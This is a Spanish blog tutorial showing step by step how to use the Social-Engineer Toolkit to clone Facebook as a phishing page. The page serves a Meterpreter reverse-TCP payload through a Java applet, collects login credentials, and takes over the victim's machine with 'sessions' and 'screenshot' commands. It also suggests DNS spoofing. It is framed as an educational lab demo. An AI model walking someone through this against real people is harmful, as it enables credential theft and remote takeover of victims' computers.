Lo primero que debemos hacer será ejecutar la herramienta en una terminal con el comando setoolkit y seleccionamos la primera opción del menú que se nos muestra: Social-Engineering Attacks.


En el siguiente menú tomaremos la segunda opción: Website Attack Vectors.



A continuación, se nos mostrarán diferentes tipos de ataques. Nosotros nos centraremos en el primero: Java Applet Attack Method.


Se nos mostrará otro nuevo submenú, donde elegiremos el modo en el que queremos crear el phishing. En este caso, haremos una clonación de una página con la segunda opción: Site Cloner.


Una vez seleccionado, se nos preguntará si vamos a usar NAT/Port Forwarding para nuestro ataque, pero como vamos a realizar la prueba en una red local pondremos: “no”.


Introducimos la IP de la máquina donde estamos albergando el phishing.


En el siguiente menú seleccionamos qué applet vamos a utilizar. Al tratarse de un ejemplo sencillo, no nos complicaremos y tiraremos de un applet de SET (opción 2).


En este punto es cuando introduciremos la web que deseamos clonar. Para esta demo he seleccionado Facebook.


Una vez introducida, la web se clonará y pasaremos a la selección del payload.


Para continuar bajo la premisa del mínimo esfuerzo y máxima eficiencia elegiremos la primera opción: Meterpreter Memory Injection (DEFAULT) y podremos el puerto 443 en escucha:


Dentro de la opción elegida utilizaremos Reverse TCP, para que sea la victima la que se conecte a nosotros.


Llegados a este punto, ¡habemus phishing!
Veremos cómo se levanta el servidor Apache2 para publicar nuestra web (ya sabéis… /var/www/) y a continuación se ejecutará el Framework Metasploit.




Ahora abriremos desde otro equipo (o máquina virtual) que tengamos en nuestra red, la IP dónde tenemos el phishing.
En este punto, si queréis, se podría hacer un DNS Spoofing para redirigir el tráfico de la víctima cuanto intente acceder a facebook.com hacia nuestra IP (entre otras cositas que se os ocurran).

Pero ahora tenemos un problema… “con la iglesia hemos dado, Sancho”.
Según hemos planteado este ataque, si tenemos actualizado Java SE a su última versión, se nos bloqueará la infección mediante el applet (pero mantendremos el phishing, eso sí). Una mala costumbre que tiene Java de no confiar en las firmas autofirmadas…


Para saltarnos este bloqueo tendremos que añadir en la configuración del Panel de Control de Java la IP del atacante. Sí, lo sé… nadie va a infectarse con el applet, pero recordad que tenéis la posibilidad de lanzar vuestro propio applet o utilizar otros tipos de ataques (además es un ejemplo educativo y lo sabéis).


Añadida la IP, procedemos a acceder a través de un navegador fantástico como es IE y aceptamos que somos unos incautos que queremos ser infectados a pesar de la notificación de riesgo de seguridad que nos emiten.


Una vez aceptado e introducidos las credenciales de nuestra cuenta, se nos redirigirá a la página oficial de Facebook, como si nos hubiésemos equivocado al introducir las credenciales y aquí nadie se hubiera comido un bicho rico, rico y con fundamento.


Una vez infectado el sistema de la víctima, en nuestra máquina atacante podremos ver cómo se ha registrado en el Meterpreter una nueva sesión.


Para ver las sesiones activas utilizaremos el comando sessions y para acceder a una de ellas: sessions -i númeroDeSesion.


Para comprobar que todo funciona correctamente, podemos utilizar el comando preferido por los stalkers: screenshot



Et Voilà!
Con esto finiquitamos el Briconsejo de hoy, no olvidéis echar el sustrato, siempre mucho sustrato para los geranios.


“La educación es el arma más poderosa que se puede usar para cambiar el mundo” y no lo digo yo, lo dijo Mandela.


Pablo Lorenzo






Google Analytics